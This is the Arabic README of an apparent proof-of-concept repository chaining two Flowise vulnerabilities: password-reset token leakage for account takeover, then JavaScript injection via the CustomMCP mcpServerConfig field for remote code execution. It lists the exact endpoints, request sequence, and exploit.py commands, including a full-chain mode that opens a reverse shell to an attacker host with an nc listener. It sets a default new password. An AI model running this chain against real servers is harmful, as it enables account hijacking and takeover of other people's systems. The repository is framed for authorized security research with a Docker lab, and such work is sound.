
استغلال ثغرات FlowiseAI CVE-2025-58434 و CVE-2025-59528 (PoC)، يُظهر استيلاء غير مصادق عليه على الحساب (ATO) عبر تسريب رمز إعادة التعيين، يليه تنفيذ تعليمات برمجية عن بُعد (RCE) مصادق عليه. يتضمن بيئة مختبرية قابلة للتكرار باستخدام Docker.
⚠️ لأغراض تعليمية وبحث أمني مصرح به فقط. تشغيل هذه الأداة ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي لاختبارها غير قانوني.
يحتوي هذا المستودع على إثبات مفهوم بلغة بايثون لربط ثغريتين في Flowise:
Flowise هي منصة سحب وإفلات لبناء تطبيقات LLM وسير عمل وكلاء الذكاء الاصطناعي. تؤثر CVE-2025-59528 على Flowise 3.0.5 وتم إصلاحها في 3.0.6. تنشأ المشكلة من معالجة غير آمنة لـ mcpServerConfig داخل عقدة CustomMCP. ترتبط CVE-2025-58434 بكشف رمز إعادة تعيين كلمة المرور وتم معالجتها أيضًا في Flowise 3.0.6.
تدعم الأداة ما يلي:
يكشف تدفق إعادة تعيين كلمة المرور الضعيف عن بيانات حساسة للمستخدم، بما في ذلك رموز إعادة تعيين كلمة المرور المؤقتة، في استجابة API. يمكن للمهاجم الذي يعرف عنوان بريد إلكتروني صالح للمستخدم أن يطلب إعادة تعيين كلمة المرور، واسترداد الرمز المؤقت من الاستجابة، واستخدامه لتعيين كلمة مرور جديدة للحساب.
يؤثر السلوك الضعيف على سحابة Flowise والنشر المحلي/المستضاف ذاتيًا الذي يعرض نفس واجهة API. العلاج هو عدم إعادة رموز إعادة تعيين كلمة المرور أو بيانات إعادة تعيين الحساب الحساسة مباشرة في استجابات API.
توجد الثغرة في عقدة CustomMCP في Flowise. يتم تحليل معامل mcpServerConfig كجزء من عملية تكوين خادم MCP، ويتم تقييمه ككود جافا سكريبت دون أي تحقق أمني. يسمح هذا للمهاجم المُصادق بحقن كود جافا سكريبت عشوائي، والذي يتم تنفيذه في بيئة Node.js لخادم Flowise. في دالة convertToValidJSONString، يتم تمرير إدخال المستخدم إلى مُنشئ Function، الذي يقوم بتقييم الإدخال ككود جافا سكريبت بصلاحيات Node.js كاملة، مما يسمح بالوصول إلى وحدات مثل child_process لتنفيذ أوامر النظام.
نقطة النهاية الضعيفة المستخدمة في إثبات المفهوم هذا هي:
POST /api/v1/node-load-method/customMCP
مع حمولة جافا سكريبت في حقل mcpServerConfig لهيئة JSON، على سبيل المثال:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
يوجد الكود الضعيف في ملف CustomMCP.ts، ويشار إليه في نشرة المسؤول على GitHub للـCVE.
المهاجم Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ كائن المستخدم + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ تم تغيير كلمة المرور │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<تكوين مصمم> │
│─────────────────────────────────────────►│
│ جافا سكريبت تم تقييمه في Node.js
│ تم تنفيذ الأمر
│◄─────────────────────────────────────────│
│ مخرجات الأمر أو الحمولة المُطلقة │
│ │
✓ استيلاء على الحساب + تنفيذ تعليمات برمجية عن بُعد مُصادق عليه
هيكل المستودع
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # قم بتكوين متغيرات البيئة
docker-compose up -d
بدون أي وسائط، ستشغل الأداة سلسلة الهجوم الكاملة، وتفحص الثغرة المستهدفة، وتقوم بالاستيلاء على الحساب للبريد الإلكتروني المقدم، وتسجيل الدخول لاسترجاع ملفات تعريف الارتباط، ثم استغلال ثغرة تنفيذ التعليمات البرمجية عن بُعد بحمولة شل عكسية. قم بتشغيل مستمع مخصص (مثل nc -lvnp 9889) قبل تنفيذ الأداة في وضع السلسلة الكاملة.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
يقوم بإجراء فحص الإصدار لتحديد ما إذا كان الهدف عرضة لـ CVE-2025-58434 و CVE-2025-59528. يرسل طلبًا إلى API الهدف ويحلل الاستجابة لتحديد إصدار Flowise وحالة الثغرة.
python3 exploit.py --target http://localhost:3000 check
ينفذ عملية الاستيلاء على الحساب لـ CVE-2025-58434. يرسل طلب إعادة تعيين كلمة المرور للبريد الإلكتروني المحدد، ويسترد الرمز المؤقت من الاستجابة، ثم يستخدم هذا الرمز لتعيين كلمة مرور جديدة (افتراضيًا: "Password123!") للحساب.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
يسجل الدخول إلى الهدف باستخدام البريد الإلكتروني وكلمة المرور المحددين (افتراضيًا: "Password123!"). في حالة النجاح، يقوم باسترجاع وعرض ملفات تعريف الارتباط للمصادقة (مثل connect.sid) لاستخدامها في الطلبات المُصادق عليها.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode